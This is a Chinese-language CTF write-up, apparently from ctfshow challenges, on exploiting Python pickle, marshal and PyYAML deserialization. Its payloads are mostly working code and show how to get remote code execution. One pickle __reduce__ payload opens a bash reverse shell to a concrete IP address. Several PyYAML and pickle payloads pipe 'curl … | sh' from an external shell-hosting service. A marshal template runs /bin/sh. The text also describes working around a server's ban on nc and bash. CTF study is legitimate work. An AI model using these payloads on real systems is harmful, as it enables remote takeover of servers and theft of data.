【python反序列化】
序列化
类对象->字节流(字符串)
反序列化
字节流->对象
python反序列化没PHP这么灵活,没这么多魔术方法。
import pickle
import os
class ctfshow():
def init(self):
self.username=0
self.password=0
def login(self,username,password):
return username=="admin" and password=="123456"
c=ctfshow()
data=c.login(“admin”,“123456”) #返回True
print(data)
import pickle
import os
import base64
class ctfshow():
def init(self):
self.username=0
self.password=0
def login(self,username,password):
return username=="admin" and password=="123456"
#相当于PHP里面的__wakeup()
#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
#第二个元素是一个元组,包含两个及以上元素。
def __reduce__(self):
print("reduce")
return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)
c=ctfshow()
#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod,可以CV。
#print(base64.b64encode(serialize))
#反序列化,执行命令
#pickle.loads(serialize)
#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)
注意点:
向服务端传入payload,如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
python序列化常用的模板: //例题93
1 pickle
2 json
【特征:】
竟然不需要 恶意类
反序列化字符串里面包含类的所有定义,包括类的方法
php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板
python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法
Marshal 反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理
模板:
import base64
import pickle
import marshal
def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code
shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))
print(pickle.loads(shell))
PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签
payload:
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]
题目要求我们在/unserialize
路由POST提交一个参数data
,data经过base64编码。
不知道题目的考点,先传参data=MQ==
看看报错。MQ==
是1
的base64编码。
发现了关键代码,pickle反序列化。pytohn版本是3.8
#base64解码传进来的值,并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']
生成payload的脚本:
import pickle
import os
import base64
class ctfshow():
def __init__(self):
self.username=0
self.password=0
#相当于PHP里面的__wakeup()
#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
#第二个元素是一个元组,包含两个及以上元素。
def __reduce__(self):
print("reduce")
#弹shell
return (os.system,('curl https://your-shell.com/vps-ip:port | sh',))
c=ctfshow()
#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod,可以CV。
print(base64.b64encode(serialize))
#反序列化,执行命令
#pickle.loads(serialize)
#写入文件
#with open("ctfshow.ser","wb") as f:
# pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
# pickle.load(f)
注意点:
向服务端传入payload,如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。同时,python版本也需要一致。
KALI是linux,在KALI里面生成payload。
那就又来了一个注意点:
一开始一直报错:
partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)
尝试过重装pickle库、重装pip,都没用。后来发现是文件名和pickle库的名字重了,文件名不能是pickle.py
。
经过尝试,服务端应该是把nc
和bash
两个命令给ban了,只能用平台来弹shell。
题目明显提示是python中的PyYAML 反序列化。
PyYAML 反序列化利用方面,危险标签有三种。
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签
这次还是选择使用平台来反弹shell,估计还是把nc
和bash
两个命令给ban了。
经过尝试,能用的危险标签是!!python/object/new
和!!python/object/apply
payload:
data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]
data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]
直接拿flag了。